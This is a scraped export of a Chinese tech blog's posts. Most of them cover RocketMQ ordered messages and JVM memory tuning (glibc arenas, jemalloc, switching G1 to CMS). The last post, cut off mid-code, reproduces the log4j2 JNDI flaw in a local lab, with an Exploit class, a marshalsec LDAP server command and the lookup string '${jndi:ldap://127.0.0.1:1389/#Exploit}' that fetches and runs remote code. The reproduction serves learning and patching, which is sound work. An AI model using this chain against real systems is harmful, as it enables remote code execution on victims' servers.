进行加锁，保证处理中的消息消费完成，发生队列负载后，其他消费者才能继续消费。\n例如队列 q3 目前是分配给消费者 C2 进行消费，已将拉取了 32 条消息在线程池中处理，然后对消费者进行了扩容，分配给 C2 的 q3 队列，被分配给 C3 了，由于 C2 已将处理了一部分，位点信息还没有提交，如果 C3 立马去消费 q3 队列中的消息，那存在一部分数据会被重复消费，故在 C2 消费者在消费 q3 队列的时候，消息没有消费完成，那负载队列就不能丢弃该队列，就不会在 broker 端释放琐，其他消费者就无法从该队列消费，尽最大可能保证了消息的重复消费，保证顺序性语义\n消费总结 ：\n创建消息拉取任务时，消息客户端向 broker 端申请锁定 MessageQueue，使得一个 MessageQueue 同一个时刻只能被一个消费客户端消费 消息消费时，多线程针对同一个消息队列的消费先尝试使用 synchronized 申请独占锁，加锁成功才能进行消费，使得一个 MessageQueue 同一个时刻只能被一个消费客户端中一个线程消费 RocketMQ 中每一个消费组一个单独的线程池并发消费拉取到的消息，即消费端是多线程消费。而顺序消费的并发度等于该消费者分配到的队列数。消费并行度理论上不会有太大问题，因为 MessageQueue 的数量可以调整。 在消费的过程中，会对处理队列 (ProccessQueue) 进行加锁，保证处理中的消息消费完成 顺序消息一旦消费失败，默认会一直重试，不会跳过，因为一旦跳过就失去顺序消息的语义了 顺序消息可能存在的问题 消息阻塞\n在顺序性语义的要求下，如果一条消息没有被成功消费，下一条消息就不能被消费，否则就不是顺序消费了。一条消息失败，如果跳过去消费其他消息，那就违背了顺序消费的语义。\n建议在使用顺序消息时，务必保证应用能够及时监控并处理消费失败的情况，避免阻塞现象的发生。可以提供一些策略，由用户根据错误类型来决定是否跳过，并且提供重试队列之类的功能，在跳过之后用户可以在“其他”地方重新消费到这条消息。\nfailover 失效\n发送顺序消息无法利用集群的 Failover 特性，因为不能更换 MessageQueue 进行重试\n参考 https://mp.weixin.qq.com/s/Ff3FTnkQmiOPZ69r3ek7sQ https://spring.io/blog/2021/02/03/ https://www.zhihu.com/question/30195969/answer/142416274demystifying-spring-cloud-stream-producers-with-apache-kafka-partitions ","date":"2022-01-05T09:26:40Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-01-05-zi-ding-xiang-xia-xue-xi-rocketmq-wu-shun-xu-xiao-xi-yuan-li/cover.jpg","permalink":"/p/2022-01-05-zi-ding-xiang-xia-xue-xi-rocketmq-wu-shun-xu-xiao-xi-yuan-li/","title":"自顶向下学习 RocketMQ（五）：顺序消息原理"},{"content":"","date":"2021-12-31T23:30:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-12-31-shen-me-shi-ddos-gong-ji/cover.jpg","permalink":"/p/2021-12-31-shen-me-shi-ddos-gong-ji/","title":"什么是DDOS攻击"},{"content":"回顾 上篇文章 JVM调优之G1换CMS 中 我们将 G1 换成 CMS 并调整了 JVM 参数，由于 GC 选择和参数设置的更加合理，所以内存的增长非常缓慢了。\n但这并没有从根本解决问题，通过观察发现，最高的时候一天 RSS 会增长 100M 左右，而且整体的趋势仍然是向上增长的，并没有一丝的回落迹象。\n问题分析 虽然增长缓慢，哪怕每天只有 1M，离 OOM 也只是时间问题。这就使我们不得不再次仔细分析为什么 RSS 会一直增长。\n堆内存分析 通过监控发现，堆内存呈周期性的增长和回收，与我们的 JVM 参数设置一致，而且通过 dump 文件也没有发现明显的业务代码问题。\n堆外内存 回顾一下我们的 options 参数设置 :\n1-Xms2048m -Xmx2048m 2-XX:+HeapDumpOnOutOfMemoryError 3-XX:+CrashOnOutOfMemoryError 4-XX:NativeMemoryTracking=detail 5-XX:+UseConcMarkSweepGC 6-XX:MetaspaceSize=256M 7-XX:MaxMetaspaceSize=256M 8-XX:ReservedCodeCacheSize=128m 9-XX:InitialCodeCacheSize=128m 10-Xss512k 11-XX:+AlwaysPreTouch。 metaspace 和 codecache 是限制死了，再来是 Buffer Pools 中的 Direct Buffers\n可以看到是一条横线，也没有什么波动。\n但是 RSS，确实就是一直在增长，期间也利用 Native Memory Tracking 追踪过 JVM 内部内存的使用情况，具体是这样做的\n由于我们开启了 NMT -XX:NativeMemoryTracking=detail\n先设置一个基线：\n1jcmd 1 VM.native_memory baseline 然后过一段时间执行：\n1jcmd 1 VM.native_memory summary.diff 对比地看一下统计信息。下图只做示例，具体数字不做参考，因为是我临时执行出来的，数字不对。\n真实环境中，增长最多的就是 class 中的 malloc\nmalloc ? 这是申请内存的函数啊，为什么要申请这么多呢？难道没有释放？于是想到用 pmap 命令看一下内存映射情况。\n“\nPmap 提供了进程的内存映射，pmap 命令用于显示一个或多个进程的内存状态。其报告进程的地址空间和内存状态信息\n”\n执行了以下命令：\n1pmap -x 1 | sort -n -k3 发现了一些端倪：\n有一些 64M 左右的内存分配，且越来越多。\nglibc 搞不懂了，于是 google 了一下。发现是有这一类问题由于涉及许多底层基础知识，这里就大概解析一下，有兴趣的读者可以查询更多资料了解：\n目前大部分服务端程序使用 glibc 提供的 malloc/free 系列函数来进行内存的分配。\n“\nLinux 中 malloc 的早期版本是由 Doug Lea 实现的，它有一个严重问题是内存分配只有一个分配区（arena），每次分配内存都要对分配区加锁，分配完释放锁，导致多线程下并发申请释放内存锁的竞争激烈。arena 单词的字面意思是「舞台；竞技场」\n于是修修补补又一个版本，你不是多线程锁竞争厉害吗，那我多开几个 arena，锁竞争的情况自然会好转。\nWolfram Gloger 在 Doug Lea 的基础上改进使得 Glibc 的 malloc 可以支持多线程，这就是 ptmalloc2。在只有一个分配区的基础上，增加了非主分配区 (non main arena)，主分配区只有一个，非主分配可以有很多个\n当调用 malloc 分配内存的时候，会先查看当前线程私有变量中是否已经存在一个分配区 arena。如果存在，则尝试会对这个 arena 加锁如果加锁成功，则会使用这个分配区分配内存\n如果加锁失败，说明有其它线程正在使用，则遍历 arena 列表寻找没有加锁的 arena 区域，如果找到则用这个 arena 区域分配内存。\n主分配区可以使用 brk 和 mmap 两种方式申请虚拟内存，非主分配区只能 mmap。glibc 每次申请的虚拟内存区块大小是 64MB，glibc 再根据应用需要切割为小块零售。\n”\n这就是 linux 进程内存分布中典型的 64M 问题，那有多少个这样的区域呢？在 64 位系统下，这个值等于 8 * number of cores，如果是 4 核，则最多有 32 个 64M 大小的内存区域。\nglibc 从 2.11 开始对每个线程引入内存池，而我们使用的版本是 2.17，可以通过下面的命令查询版本号\n1# 查看 glibc 版本 2ldd --version 问题解决 通过服务器上一个参数 MALLOC_ARENA_MAX 可以控制最大的 arena 数量\n1export MALLOC_ARENA_MAX=1 由于我们使用的是 docker 容器，于是是在 docker 的启动参数上添加的。\n容器重启后发现果然没有了 64M 的内存分配。\nbut RSS 依然还在增长，虽然这次的增长好像更慢了。于是再次 google 。(事后在其他环境拉长时间观察，其实是有效的，短期内虽然有增长，但后面还会有回落)\n查询到可能是因为 glibc 的内存分配策略导致的碎片化内存回收问题，导致看起来像是内存泄露。那有没有更好一点的对碎片化内存的 malloc 库呢？业界常见的有 google 家的 tcmalloc 和 facebook 家的 jemalloc。\ntcmalloc 安装\n1yum install gperftools-libs.x86_64 使用 LD_PRELOAD 挂载\n1export LD_PRELOAD=\u0026#34;/usr/lib64/libtcmalloc.so.4.4.5\u0026#34; 注意 java 应用要重启，经过我的测试使用 tcmalloc RSS 内存依然在涨，对我无效。\njemalloc 安装\n1yum install epel-release -y 2yum install jemalloc -y 使用 LD_PRELOAD 挂载\n1export LD_PRELOAD=\u0026#34;/usr/lib64/libjemalloc.so.1\u0026#34; 使用 jemalloc 后，RSS 内存呈周期性波动，波动范围约 2 个百分点以内，基本控制住了。\njemalloc 原理 与 tcmalloc 类似，每个线程同样在\u0026lt;32KB 的时候无锁使用线程本地 cache。\nJemalloc 在 64bits 系统上使用下面的 size-class 分类：\nSmall: [8], [16, 32, 48, …, 128], [192, 256, 320, …, 512], [768, 1024, 1280, …, 3840] Large: [4 KiB, 8 KiB, 12 KiB, …, 4072 KiB] Huge: [4 MiB, 8 MiB, 12 MiB, …] small/large 对象查找 metadata 需要常量时间， huge 对象通过全局红黑树在对数时间内查找。\n虚拟内存被逻辑上分割成 chunks（默认是 4MB，1024 个 4k 页），应用线程通过 round-robin 算法在第一次 malloc 的时候分配 arena， 每个 arena 都是相互独立的，维护自己的 chunks， chunk 切割 pages 到 small/large 对象。free() 的内存总是返回到所属的 arena 中，而不管是哪个线程调用 free()。\n上图可以看到每个 arena 管理的 arena chunk 结构， 开始的 header 主要是维护了一个 page map（1024 个页面关联的对象状态）， header 下方就是它的页面空间。Small 对象被分到一起， metadata 信息存放在起始位置。large chunk 相互独立，它的 metadata 信息存放在 chunk header map 中。\n通过 arena 分配的时候需要对 arena bin（每个 small size-class 一个，细粒度）加锁，或 arena 本身加锁。并且线程 cache 对象也会通过垃圾回收指数退让算法返回到 arena 中。\njemalloc tcmalloc 对比 上图是服务器吞吐量分别用 6 个 malloc 实现的对比数据，可以看到 tcmalloc 和 jemalloc 最好 (facebook 在 2011 年的测试结果，tcmalloc 这里版本较旧）。\n总结来看：在多线程环境使用 tcmalloc 和 jemalloc 效果非常明显。当线程数量固定，不会频繁创建退出的时候， 可以使用 jemalloc；反之使用 tcmalloc 可能是更好的选择。\n总结 如果你观察到内存有这许多这种 64m 的分配，可能就踩到这个坑了，那么可以修改 MALLOC_ARENA_MAX ，然后耐心观察，不行的话，尝试使用 jemalloc 或 tcmalloc\n参考 http://www.cnhalo.net/2016/06/13/memory-optimize/ https://tech.meituan.com/2019/01/03/spring-boot-native-memory-leak.html https://www.heapdump.cn/article/1709425 https://engineering.fb.com/2011/01/03/core-data/scalable-memory-allocation-using-jemalloc/ ","date":"2021-12-28T06:08:08Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-12-28-jvm-tiao-you-zhi-glibc-yin-fa-de-nei-cun-xie-lou/cover.jpg","permalink":"/p/2021-12-28-jvm-tiao-you-zhi-glibc-yin-fa-de-nei-cun-xie-lou/","title":"JVM 调优之 glibc 引发的内存泄露"},{"content":"什么是防火墙\n","date":"2021-12-26T08:53:35Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-12-26-shen-me-shi-fang-huo-qiang/cover.jpg","permalink":"/p/2021-12-26-shen-me-shi-fang-huo-qiang/","title":"什么是防火墙"},{"content":"问题发现 发现某应用的内存在缓慢的持续增长，系统告警内存使用系统已超过 80%，且正在持续增长。\n具体来说是 RES 在增长。\n你可以通过以下命令，在目标主机上查看内存情况：\n1ps -p 1 -o pcpu,rss,size,vsize “\nRSS 是常驻内存集（Resident Set Size），表示该进程分配的内存大小。\n”\n“\nSIZE: 进程使用的地址空间，如果进程映射了 100M 的内存，进程的地址空间将报告为 100M 内存。事实上，这个大小不是一个程序实际使用的内存数。\n”\n“\nVSZ 表示进程分配的虚拟内存。包括进程可以访问的所有内存，包括进入交换分区的内容，以及共享库占用的内存。\n”\n问题分析 从表象分析，怀疑可能是内存泄露，且因为内存是缓慢增长，没有快速持续增长，所以倾向于怀疑不是堆内存泄露。\n从监控数据来看，堆和非堆的内存占比都不是很高。于是进入容器内部查看 java 进程的内存情况。\n我们使用的 JDK 版本是 AdoptOpenJDK 11.0.8 ，不是 oracle 的官方 JDK, 是 openJDK 的社区版本。\n按理说，从 java9 以后默认的 GC 就是 G1 了，然而当我查看生产的 jdk 时，即是这样的：\n1java -XX:+PrintCommandLineFlags 2 3-XX:InitialHeapSize=41943040 -XX:MaxHeapSize=671088640 -XX:+PrintCommandLineFlags -XX:ReservedCodeCacheSize=251658240 -XX:+SegmentedCodeCache -XX:+UseCompressedClassPointers -XX:+UseCompressedOops -XX:+UseSerialGC 居然使用的是 SerialGC\n难以置信，于是我想到查看一下 java 进程中的 GC 参数：\n1jhsdb jmap --heap --pid 1 2 3Attaching to process ID 1, please wait... 4Debugger attached successfully. 5Server compiler detected. 6JVM version is 11.0.8+10 7 8using thread-local object allocation. 9Mark Sweep Compact GC 得到了印证。Mark Sweep Compact GC，标记-清理-压缩算法。Serial GC (-XX:+UseSerialGC) 在老年代使用的算法。\n解决 说实话，我之前一直认为我们的 jdk 这个版本默认就是 G1 垃圾回收器，不配置也可以。但事实打脸了，于是我看了一下内存分配，给了 2G，那么其实就有问题了。\n问题是到底应该用哪个 GC 的问题，并不是说 JDK9 以上无脑选择 G1 就是对的\n以上出自《深入理解 Java 虚拟机》 第三版 作者：周志明\n根据我们的实际情况，内存在 2G 左右，我的选择更倾向于用 CMS。\n最后调整完的 jvm options 参数如下：\n1-Xms2048m -Xmx2048m 2-XX:+HeapDumpOnOutOfMemoryError 3-XX:+CrashOnOutOfMemoryError 4-XX:NativeMemoryTracking=detail 5-XX:+UseConcMarkSweepGC 6-XX:MetaspaceSize=256M 7-XX:MaxMetaspaceSize=256M 8-XX:ReservedCodeCacheSize=128m 9-XX:InitialCodeCacheSize=128m 10-Xss512k 11-XX:+AlwaysPreTouch 在解释其中的一些重要的参数之前，先分析一下 java 应用的内存组成：\n1Total memory = Heap + Code Cache + Metaspace + Symbol tables + 2 Other JVM structures + Thread stacks + 3 Direct buffers + Mapped files + 4 Native Libraries + Malloc overhead + ... 可以看到，大体上分为堆和非堆两部分。\n也可以通过命令查看具体java进程的内存情况：\n1jcmd 1 VM.native_memory 显示结果类似：\n1Native Memory Tracking: 2 3Total: reserved=1847158KB, committed=1561194KB 4- Java Heap (reserved=1048576KB, committed=1048576KB) 5 (mmap: reserved=1048576KB, committed=1048576KB) 6 7- Class (reserved=405345KB, committed=170849KB) 8 (classes #28273) 9 ( instance classes #26587, array classes #1686) 10 (malloc=8033KB #97026) 11 (mmap: reserved=397312KB, committed=162816KB) 12 ( Metadata: ) 13 ( reserved=143360KB, committed=142336KB) 14 ( used=138699KB) 15 ( free=3638KB) 16 ( waste=0KB =0.00%) 17 ( Class space:) 18 ( reserved=253952KB, committed=20480KB) 19 ( used=18340KB) 20 ( free=2140KB) 21 ( waste=0KB =0.00%) 22 23- Thread (reserved=68673KB, committed=17205KB) 24 (thread #126) 25 (stack: reserved=68072KB, committed=16604KB) 26 (malloc=454KB #758) 27 (arena=147KB #251) 28 29- Code (reserved=136634KB, committed=136634KB) 30 (malloc=4538KB #15693) 31 (mmap: reserved=132096KB, committed=132096KB) 32 33- GC (reserved=7511KB, committed=7511KB) 34 (malloc=3575KB #5347) 35 (mmap: reserved=3936KB, committed=3936KB) 36 37- Compiler (reserved=1027KB, committed=1027KB) 38 (malloc=894KB #1383) 39 (arena=133KB #5) 40 41- Internal (reserved=18773KB, committed=18773KB) 42 (malloc=18741KB #7974) 43 (mmap: reserved=32KB, committed=32KB) 44 45- Other (reserved=66199KB, committed=66199KB) 46 (malloc=66199KB #85) 47 48- Symbol (reserved=32192KB, committed=32192KB) 49 (malloc=28412KB #365132) 50 (arena=3780KB #1) 51 52- Native Memory Tracking (reserved=8657KB, committed=8657KB) 53 (malloc=544KB #7707) 54 (tracking overhead=8112KB) 55 56- Arena Chunk (reserved=2036KB, committed=2036KB) 57 (malloc=2036KB) 58 59- Logging (reserved=4KB, committed=4KB) 60 (malloc=4KB #191) 61 62- Arguments (reserved=18KB, committed=18KB) 63 (malloc=18KB #495) 64 65- Module (reserved=2706KB, committed=2706KB) 66 (malloc=2706KB #10716) 67 68- Synchronizer (reserved=738KB, committed=738KB) 69 (malloc=738KB #6245) 70 71- Safepoint (reserved=8KB, committed=8KB) 72 (mmap: reserved=8KB, committed=8KB) 73 74- Unknown (reserved=48060KB, committed=48060KB) 75 (mmap: reserved=48060KB, committed=48060KB) -XX:NativeMemoryTracking=detail 之所以有上面的显示结果，是因为我加了这个参数\n-XX:MetaspaceSize 具体到我的配置，为什么要设置 -XX:MetaspaceSize=256M -XX:MaxMetaspaceSize=256M ，如下图所示：\n如果开启了-XX:+UseCompressedOops 及-XX:+UseCompressedClassesPointers（默认是开启），则 UseCompressedOops 会使用 32-bit 的 offset 来代表 java object 的引用，而 UseCompressedClassPointers 则使用 32-bit 的 offset 来代表 64-bit 进程中的 class pointer；可以使用 CompressedClassSpaceSize 来设置这块的空间大小 如果开启了指针压缩，则 CompressedClassSpace 分配在 MaxMetaspaceSize 里头，即 MaxMetaspaceSize=Compressed Class Space Size + Metaspace area (excluding the Compressed Class Space) Size 所以我们固定 metaspace 中的 compressed class space 大小，因为默认是 1G\n-Xss512k 堆栈大小由-Xss 控制。默认值为每个线程 1M ，调整成 512K.\n-XX:+AlwaysPreTouch 先要简单的了解一下，虽然通过 JVM 的参数-Xmx 和-Xms 可以设置 JVM 的堆大小，但是此时操作系统分配的只是虚拟内存，只有 JVM 真正要使用该内存时，才会被分配物理内存。\n对象首先会先分配在年轻代，因为之前分配的只是虚拟内存，所以每次新建对象都需要操作系统来先分配物理内存，分配对象速度自然就降低了，只有等第一次新生代 GC 后，该被分配的内存空间都已经分配了，之后分配对象的速度才会加快。\n那么老年代也是同理，老年代的空间何时真正使用，自然是对象需要晋升到老年代时，所以新生代 GC 的时候，对象要从新生代晋升到老年代，操作系统也需要为老年代先分配物理内存，这样就间接影响了新生代 GC 的效率。\n而使用【-XX:+AlwaysPreTouch】参数能够达到的效果就是，在服务启动的时候真实的分配物理内存给 JVM，而不再是虚拟内存，效果是可以加快代码运行效率，缺点也是有的，毕竟把分配物理内存的事提前放到 JVM 进程启动时做了，自然就会影响 JVM 进程的启动时间，导致启动时间降低几个数量级。\n-XX:ReservedCodeCacheSize -XX:ReservedCodeCacheSize=128m -XX:InitialCodeCacheSize=128m Code Cache 就是所谓的代码缓存，由于 JVM 虚拟机的内存默认是有大小限制的，因此代码缓存区域肯定也是有一定大小限制，默认为 240M，我的参数设置的数值是根据系统运行监控数据得出的结论，如果你要设置请根据实际情况设置，不要乱写。\n另一方面，如果 code cacahe 满了不去管它不行，可以配置清理\n-XX:+UseCodeCacheFlushing\n“\nCode Cache 空间 如果满了，通过在启动参数上增加：-XX:+UseCodeCacheFlushing 来启用。打开这个选项，在 JIT 被关闭之前，也就是 CodeCache 装满之前，会在 JIT 关闭前做一次清理，删除一些 CodeCache 的代码；如果清理后还是没有空间，那么 JIT 依然会关闭。这个选项默认是关闭的\n”\n结局 当我将 G1 换成 CMS 后，内存的布局和大小都根据我的设置重置了。内存增长情况呈现趋势增长，但特别缓慢，且有周期性的节奏。\n我也 dump 过内存快照，也曾怀疑过像 arthas 内部利用 JNI 导致的内存泄露，但还没有发现直接的证据，目前来看，还是先观察，在观察一定的周期之后根据情况继续分析。\n","date":"2021-12-23T10:37:01Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-12-23-jvm-tiao-you-zhi-g1-huan-cms/cover.jpg","permalink":"/p/2021-12-23-jvm-tiao-you-zhi-g1-huan-cms/","title":"JVM调优之G1换CMS"},{"content":"顺序消息 顺序消息是消息队列 RocketMQ 提供的一种对消息发送和消费顺序有严格要求的消息。对于一个指定的 Topic，消息严格按照先进先出（FIFO）的原则进行消息发布和消费，即先发布的消息先消费，后发布的消息后消费。\n顺序消息分为 分区顺序消息 和 全局顺序消息\n分区顺序消息 “\n分区顺序 对于指定的一个 Topic，所有消息根据 sharding key 进行区块分区。同一个分区内的消息按照严格的 FIFO 顺序进行发布和消费。Sharding key 是顺序消息中用来区分不同分区的关键字段，和普通消息的 Key 是完全不同的概念。适用场景：性能要求高，以 sharding key 作为分区字段，在同一个区块中严格的按照 FIFO 原则进行消息发布和消费的场景。\n”\nSharding Key：顺序消息中用来区分 Topic 中不同分区的关键字段，和普通消息的 Key 是完全不同的概念。消息队列 RocketMQ 会将设置了相同 Sharding Key 的消息路由到同一个分区下，同一个分区内的消息将按照消息发布顺序进行消费。 分区：即 Topic Partition，每个 Topic 包含一个或多个分区，Topic 中的消息会分布在这些不同的分区中。本文中的逻辑分区指的就是 Topic 的分区。 物理分区：区别于逻辑分区，消息实际存储的单元，每个物理分区都会分配到某一台机器指定节点上。 一般场景下，消息的发送顺序和消息生产的绝对时间顺序保持一致，生产者需要自己保证消息发送的顺序和生产顺序一致，建议使用单线程发送，若使用多线程发送消息，可能会造成消息发送顺序乱序。\nTopic 中的每个逻辑分区可以对应多个物理分区，当消息按照顺序发送到 Topic 中的逻辑分区时，每个分区的消息将按照负载均匀的存储到对应的多个物理分区中，在物理分区中消息的存储可以不用保持顺序，但消息队列 RocketMQ 会记录消息在逻辑分区和物理分区中的映射关系及存储位置。\n即使同一逻辑分区的消息被存储在不同的物理分区中且没有保持消息的顺序，消息队列 RocketMQ 服务端在投递消息时，最终还是会按照消息在逻辑队列中存储的顺序投递给 Consumer，Consumer 消费消息时，同一 Sharding Key 的消息使用单并发消费，保证消息消费顺序和存储顺序一致，最终实现消费顺序和发布顺序的一致\n适用场景\n适用于性能要求高，以 Sharding Key 作为分区字段，在同一个区块中严格地按照先进先出（FIFO）原则进行消息发布和消费的场景。\n业务例子\n用户注册需要发送验证码，以用户 ID 作为 Sharding Key，那么同一个用户发送的消息都会按照发布的先后顺序来消费。 电商的订单创建，以订单 ID 作为 Sharding Key，那么同一个订单相关的创建订单消息、订单支付消息、订单退款消息、订单物流消息都会按照发布的先后顺序来消费。 示例\n代码依然使用 SpringCloud 整合 RocketMq 的方式\n不同于之前文章中使用默认的 input output ，本例中我们使用自定义的方式来实现：\n首先声明 Source 接口，注意这个接口不用实现，框架会有默认实现\n1public interface MySource { 2 3 @Output(\u0026#34;output-order\u0026#34;) 4 MessageChannel output4Order(); 5} 在消息发送时引入\n1@Autowired 2private MySource mySource; 发送消息，消息内容为 order 实体：\n1 // 发送 3 条相同 id 的消息 2Long id = new Random().nextLong(); 3for (int i = 0; i \u0026lt; 3; i++) { 4 // 创建 Message 5 Order order = Order.builder().id(id).desc(\u0026#34;test\u0026#34;).build(); 6 7 Message message = MessageBuilder.createMessage(order, new MessageHeaders(headers)); 8 mySource.output4Order().send(message); 9 System.out.println(\u0026#34;发送了消息 \u0026#34; + message); 10} 配置文件\n1spring: 2 mvc: 3 throw-exception-if-no-handler-found: true # 处理 404 问题 4 resources: 5 add-mappings: false # 关闭 404 资源映射 6 application: 7 name: mq-example 8 cloud: 9 stream: 10 bindings: 11 # 定义 name 为 input 的 binding 消费 12 input: 13 content-type: application/json 14 destination: test-topic 15 group: consumer-group 16 # 定义 name 为 output 的 binding 生产 17 output-order: 18 content-type: application/json 19 destination: test-topic 20 # Producer 配置项，对应 ProducerProperties 类 21 producer: 22 partition-key-expression: payload[\u0026#39;id\u0026#39;] # 分区 key 表达式。该表达式基于 Spring EL，从消息中获得分区 key。 23 rocketmq: 24 # RocketMQ Binder 配置项，对应 RocketMQBinderConfigurationProperties 类 25 binder: 26 # 配置 rocketmq 的 nameserver 地址 27 name-server: 127.0.0.1:9876 28 bindings: 29 output-order: 30 # RocketMQ Producer 配置项，对应 RocketMQProducerProperties 类 31 producer: 32 group: producer-group # 生产者分组 33 sync: true # 是否同步发送消息，默认为 false 异步。 34 input: 35 # RocketMQ Consumer 配置项，对应 RocketMQConsumerProperties 类 36 consumer: 37 enabled: true # 是否开启消费，默认为 true 38 broadcasting: false # 是否使用广播消费，默认为 false 使用集群消费 39 orderly: true # 是否顺序消费，默认为 false 并发消费。 为了方便这里我将生产和消息端的配置写在一起了，实际上生产的情况应该是分开的。\n注意几点：\n由于是顺序消息，producer 要配置成 同步发送 partition-key-expression，如果我们想从消息的 headers 中获得 Sharding key，可以设置为 headers[\u0026lsquo;partitionKey\u0026rsquo;] orderly 消费时要配置成顺序消费 最后可以输出一下结果，看一下线程 ID 和队列 ID\n1 @StreamListener(\u0026#34;input\u0026#34;) 2 public void receiveInput1(String receiveMsg, GenericMessage message, @Headers Map headers) { 3 4 System.out.println(message.toString()); 5 System.out.println(\u0026#34;线程 ID: \u0026#34; + Thread.currentThread().getId() + \u0026#34; 接受到消息 input receive: \u0026#34; + receiveMsg); 6 } 列队 ID 相同，证明是顺序消费。\n全局顺序消息 “\n全局顺序 对于指定的一个 Topic，所有消息按照严格的先入先出（FIFO）的顺序进行发布和消费。适用场景：性能要求不高，所有的消息严格按照 FIFO 原则进行消息发布和消费的场景\n”\n默认 Topic 对应多个队列，当设置 Topic 只有 1 个队列可以实现全局有序，创建 Topic 时手动设置。此类场景极少，性能差，通常不推荐使用。\n适用场景\n适用于性能要求不高，所有的消息严格按照 FIFO 原则来发布和消费的场景。\n示例\n在证券处理中，以人民币兑换美元为 Topic，在价格相同的情况下，先出价者优先处理，则可以按照 FIFO 的方式发布和消费全局顺序消息。\n常见问题 同一条消息是否可以既是顺序消息，又是定时消息和事务消息？ 不可以。顺序消息、定时消息、事务消息是不同的消息类型，三者是互斥关系，不能叠加在一起使用。\n顺序消息支持哪种消息发送方式？ 顺序消息只支持可靠同步发送方式，不支持异步发送方式，否则将无法严格保证顺序。\n顺序消息是否支持集群消费和广播消费？ 顺序消息暂时仅支持集群消费模式，不支持广播消费模式。\n参考 https://github.com/alibaba/spring-cloud-alibaba/tree/master/spring-cloud-alibaba-examples/rocketmq-example https://spring-cloud-alibaba-group.github.io/github-pages/hoxton/zh-cn/index.html https://www.iocoder.cn/Spring-Cloud-Alibaba/RocketMQ/?self ","date":"2021-12-21T10:09:10Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-12-21-zi-ding-xiang-xia-xue-xi-rocketmq-si-shun-xu-xiao-xi/cover.jpg","permalink":"/p/2021-12-21-zi-ding-xiang-xia-xue-xi-rocketmq-si-shun-xu-xiao-xi/","title":"自顶向下学习 RocketMQ（四）：顺序消息"},{"content":"","date":"2021-12-18T05:25:02Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-12-18-ji-xian-qi-jiao-huan-ji-lu-you-qi-de-qu-bie/cover.jpg","permalink":"/p/2021-12-18-ji-xian-qi-jiao-huan-ji-lu-you-qi-de-qu-bie/","title":"集线器、交换机、路由器的区别"},{"content":"","date":"2021-12-14T04:54:41Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-12-14-yi-ge-shi-pin-nong-dong-shen-me-shi-zi-wang-yan-ma/cover.jpg","permalink":"/p/2021-12-14-yi-ge-shi-pin-nong-dong-shen-me-shi-zi-wang-yan-ma/","title":"一个视频弄懂什么是子网掩码"},{"content":"背景 近日，阿里云团队发现并报告了 log4j2 的一个漏洞。\n由于 log4j2 是一个依赖较广的底层库，所以影响范围很大。影响程度严重，有多严重呢？这么说吧，是灾难性的。\n复现漏洞 环境介绍 操作系统：macos Catalina jdk 版本：11.0.9.1 log4j2 版本：2.13.3（使用 springboot 2.3.2.RELEASE 间接依赖） 原理介绍 引用公众号：“小林 coding” 的一张图：\n使用 log4j2 正常打日志的时候没事儿，比如：\n1logger.info(\u0026#34;this is {}\u0026#34;, \u0026#34;log4j2 demo\u0026#34;); 但如果你的日志中包含 “${” 开头，“}” 结尾的内容就会被解析出来，单独处理。\n而如果“${}” 所包裹的内容是类似这样的：jndi:ldap://127.0.0.1:1389/#Exploit，则有可能触发这个漏洞。\n复现具体流程是这样的：\n先写一段想要被远程执行的 java 代码，然后编译成 class 文件\n将 HTTP Server 启动，保证可以通过 Http Server 访问到这个 class 文件。\n将 LDAP Server 启动，并将 Http Server 上的那个 class 文件注册上去。\n启动 java 应用程序，利用 log4j2 写日志，日志内容包括如 ${jndi:ldap://127.0.0.1:1389/#Exploit} 这样的内容。\n观察结果，看 class 文件中的程序逻辑有没有被执行。\n复现 1 \u0026lt;parent\u0026gt; 2 \u0026lt;groupId\u0026gt;org.springframework.boot\u0026lt;/groupId\u0026gt; 3 \u0026lt;artifactId\u0026gt;spring-boot-starter-parent\u0026lt;/artifactId\u0026gt; 4 \u0026lt;version\u0026gt;2.3.2.RELEASE\u0026lt;/version\u0026gt; 5 \u0026lt;relativePath/\u0026gt; 6\u0026lt;/parent\u0026gt; 7 8... 9 10\u0026lt;dependency\u0026gt; 11 \u0026lt;groupId\u0026gt;org.springframework.boot\u0026lt;/groupId\u0026gt; 12 \u0026lt;artifactId\u0026gt;spring-boot-starter-log4j2\u0026lt;/artifactId\u0026gt; 13\u0026lt;/dependency\u0026gt; 可以看到，我是通过 spring-boot-starter-log4j2 来间接引用的 log4j2 的。引入的具体包版本是这样的：\n我们先写一段想要被执行的程序：\n1public class Exploit { 2 3 public Exploit() { 4 try { 5 6 System.out.println(\u0026#34;执行漏洞代码\u0026#34;); 7 String[] commands = {\u0026#34;open\u0026#34;, \u0026#34;/System/Applications/Calculator.app\u0026#34;}; 8 Process pc = Runtime.getRuntime().exec(commands); 9 pc.waitFor(); 10 System.out.println(\u0026#34;完成执行漏洞代码\u0026#34;); 11 12 } catch (Exception e) { 13 e.printStackTrace(); 14 } 15 16 } 17 18 public static void main(String[] args) { 19 Exploit exploit = new Exploit(); 20 21 } 22} 这段程序是打开我电脑上的计算器程序。\n注意：这里的程序不要写 package 包名，我在这里浪费了不少时间，写包名可能会导致后面执行的时候报错。\n然后我们找一个空目录，把 java 文件 copy 过去，接着编译它：\n1javac Exploit.java 接着我在当前目录下执行：\n1 python -m SimpleHTTPServer 8800 目的是启动一个 HTTP Server, 当然你也可以用 nginx 或者 java 程序来做，只要能够充当 HTTP Server 的都可以。\n启动后你可以在浏览器里验证一下：\n再来我们在本地启动一个 LDAP Server。\nhttps://github.com/mbechler/marshalsec 从这里下载代码然后执行打包编译：\n1mvn clean package -DskipTests 打包后，到 target 目录下执行：\n1java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer \u0026#34;http://127.0.0.1:8800/#Exploit\u0026#34; 上面命令的目的是启动 LDAP Server，并且把我们的程序注册到 LDAP Server 上。具体来说是把带有 Http Server 地址（上面用 python 启动的 HTTP server）的 url 注册到 LDAP Server 上。\n正常启动后 LDAP 会开始监1389 端口\n最后我们编写记录日志程序：\n1 private static final Logger logger = 